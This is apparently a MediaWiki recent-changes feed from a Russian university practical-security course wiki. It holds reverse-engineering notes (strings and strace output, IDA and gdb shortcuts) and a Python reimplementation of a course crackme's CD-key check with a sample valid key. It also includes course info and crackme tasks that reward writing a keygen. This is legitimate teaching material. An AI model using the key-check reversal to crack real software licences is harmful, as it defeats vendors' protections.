		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%A0%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3&amp;diff=160</id>
		<title>Введение в практическую безопасность (2019)/Реверс-инжиниринг</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%A0%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3&amp;diff=160"/>
		<updated>2019-03-13T18:22:35Z</updated>

		<summary type="html">&lt;p&gt;WGH: раздел про gdb&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA Pro ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== IDA ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
Неплохой [https://radare.gitbooks.io/radare2book/content/debugger/migration.html#shortcuts список] из доков по radare2.&lt;br /&gt;
&lt;br /&gt;
==== Hex-Rays ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарники, которые были рассмотрены на семинаре: [[Media:2019 reverse examples.zip]].&lt;br /&gt;
&lt;br /&gt;
Исходник первого примера: [[Media:2019 reverse example 1.c]]&lt;br /&gt;
&lt;br /&gt;
Пример валидного ключа: &amp;lt;code&amp;gt;AAAAA-BBBBB-CCCCC-B334C&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Алгоритм проверки ключа на Python:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import string&lt;br /&gt;
import hashlib&lt;br /&gt;
&lt;br /&gt;
def validate_key(s):&lt;br /&gt;
    if len(s) != 23:&lt;br /&gt;
        return False&lt;br /&gt;
&lt;br /&gt;
    for i, c in enumerate(s):&lt;br /&gt;
        if i in (5, 11, 17):&lt;br /&gt;
            if c != &#039;-&#039;:&lt;br /&gt;
                return False&lt;br /&gt;
        else:&lt;br /&gt;
            if c not in (string.ascii_uppercase + string.digits):&lt;br /&gt;
                return False&lt;br /&gt;
&lt;br /&gt;
    m = hashlib.md5()&lt;br /&gt;
    m.update(s[:17].encode(&#039;ascii&#039;))&lt;br /&gt;
    m.update(bytes([0x4d,0x67,0xde,0xb9,0x60,0xce,0x38,0x30,0xe1,0xb7,0x40,0xe5,0xeb,0x39,0xe0,0x15]))&lt;br /&gt;
&lt;br /&gt;
    return s[18:] == m.hexdigest()[:5].upper()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)&amp;diff=159</id>
		<title>Введение в практическую безопасность (2019)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)&amp;diff=159"/>
		<updated>2019-03-13T18:14:58Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Задания */ добавлены задания по бинарщине&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Введение в практическую безопасность&#039;&#039;&#039; — математический спецкурс по выбору, читается лабораторией интеллектуальных систем кибербезопасности (ЛИСК) кафедры информационной безопасности (ИБ) факультета ВМК.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: каждый вторник, 18:05, с 12 февраля 2019&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 685, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
* &#039;&#039;&#039;Чат&#039;&#039;&#039;: https://t.me/joinchat/B4hXs1Z5I6qEtns9fjgbfg или Matrix [https://matrix.to/#/#7fZs5vxGhmxS5KPHDTatYQ:torlan.ru #7fZs5vxGhmxS5KPHDTatYQ:torlan.ru]&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью, в особенности — студентам 2-го курса, планирующим распределиться в лабораторию. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты на курсе:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания вместе дадут &#039;&#039;&#039;3000&#039;&#039;&#039;. Гарантируется, что 3000 и больше будут давать оценку &amp;quot;отлично&amp;quot;. Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Кстати, у нас есть CTF-команда [[Bushwhackers]], приглашаем вас поиграть с нами!&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/Задания_по_вебу|Задания по вебу]]&lt;br /&gt;
* [[/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей|Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/HTTP,_инструменты_%26_SQL_injection|HTTP, инструменты и SQL injection]] - по теме первого занятия по веб-безопасности&lt;br /&gt;
* [[/Реверс-инжиниринг|Реверс-инжиниринг]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=158</id>
		<title>Введение в практическую безопасность (2019)/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=158"/>
		<updated>2019-03-13T18:14:35Z</updated>

		<summary type="html">&lt;p&gt;WGH: Новая страница: «== Задания по реверс-инжинирингу ==  === Обязательные задания === Задания по этой теме реализ…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задания по реверс-инжинирингу ==&lt;br /&gt;
&lt;br /&gt;
=== Обязательные задания ===&lt;br /&gt;
Задания по этой теме реализованы в формате типичного crackme/задания на реверс на task-based CTF.&lt;br /&gt;
&lt;br /&gt;
Дан исполняемый файл для ОС Linux. Нужно подобрать такой ввод, чтобы некая проверка внутри была пройдена. В случае успеха программа будет явно писать фразу в духе &amp;quot;успех&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Для зачисления баллов необходимо написать небольшой отчет о проделанной работе: какие инструменты были использованы, какие алгоритмы проверки ввода используются в задании, каким образом вы это поняли Отчет не обязан быть написан строго формально, но должен быть читаемым и понятным. Отчет нужно отправлять на почту mailto:wgh+secsem2019@seclab.cs.msu.ru. К отчету также необходимо приложить ваше имя/никнейм, которые вы использовали в [https://dashboard.course.secsem.ru/ дэшборде] при сдаче заданий по вебу, чтобы мы могли зачислить вам очки.&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 10 апреля 2019, 23:59 MSK.&lt;br /&gt;
&lt;br /&gt;
; [[Media:2019 reverse task 1.zip]]&lt;br /&gt;
: При написании генератора ключей начисляется 150 баллов (генератор должен быть приложен к отчету), при получении одного валидного ключа - 100 баллов.&lt;br /&gt;
; [[Media:2019 reverse task 2.zip]]&lt;br /&gt;
: При успешном выполнении задания начисляется 150 баллов.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание ===&lt;br /&gt;
Будет выложено после следующего (19 марта) занятия.&lt;br /&gt;
&lt;br /&gt;
== Задания по эксплуатации бинарных уязвимостей ==&lt;br /&gt;
Будут выложены после соответствующих занятий.&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_reverse_task_2.zip&amp;diff=157</id>
		<title>Файл:2019 reverse task 2.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_reverse_task_2.zip&amp;diff=157"/>
		<updated>2019-03-13T17:24:54Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_reverse_task_1.zip&amp;diff=156</id>
		<title>Файл:2019 reverse task 1.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_reverse_task_1.zip&amp;diff=156"/>
		<updated>2019-03-13T17:24:41Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%A0%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3&amp;diff=155</id>
		<title>Введение в практическую безопасность (2019)/Реверс-инжиниринг</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%A0%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3&amp;diff=155"/>
		<updated>2019-03-13T11:44:05Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Примеры с занятия */ пример валидного ключа&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA Pro ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== IDA ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
Неплохой [https://radare.gitbooks.io/radare2book/content/debugger/migration.html#shortcuts список] из доков по radare2.&lt;br /&gt;
&lt;br /&gt;
==== Hex-Rays ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарники, которые были рассмотрены на семинаре: [[Media:2019 reverse examples.zip]].&lt;br /&gt;
&lt;br /&gt;
Исходник первого примера: [[Media:2019 reverse example 1.c]]&lt;br /&gt;
&lt;br /&gt;
Пример валидного ключа: &amp;lt;code&amp;gt;AAAAA-BBBBB-CCCCC-B334C&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Алгоритм проверки ключа на Python:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import string&lt;br /&gt;
import hashlib&lt;br /&gt;
&lt;br /&gt;
def validate_key(s):&lt;br /&gt;
    if len(s) != 23:&lt;br /&gt;
        return False&lt;br /&gt;
&lt;br /&gt;
    for i, c in enumerate(s):&lt;br /&gt;
        if i in (5, 11, 17):&lt;br /&gt;
            if c != &#039;-&#039;:&lt;br /&gt;
                return False&lt;br /&gt;
        else:&lt;br /&gt;
            if c not in (string.ascii_uppercase + string.digits):&lt;br /&gt;
                return False&lt;br /&gt;
&lt;br /&gt;
    m = hashlib.md5()&lt;br /&gt;
    m.update(s[:17].encode(&#039;ascii&#039;))&lt;br /&gt;
    m.update(bytes([0x4d,0x67,0xde,0xb9,0x60,0xce,0x38,0x30,0xe1,0xb7,0x40,0xe5,0xeb,0x39,0xe0,0x15]))&lt;br /&gt;
&lt;br /&gt;
    return s[18:] == m.hexdigest()[:5].upper()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%9A%D0%BB%D0%B0%D0%B2%D0%B8%D1%88%D0%B0/button&amp;diff=154</id>
		<title>Шаблон:Клавиша/button</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD:%D0%9A%D0%BB%D0%B0%D0%B2%D0%B8%D1%88%D0%B0/button&amp;diff=154"/>
		<updated>2019-03-13T11:24:27Z</updated>

		<summary type="html">&lt;p&gt;WGH: стиль для этой вики&lt;/p&gt;
&lt;hr /&gt;
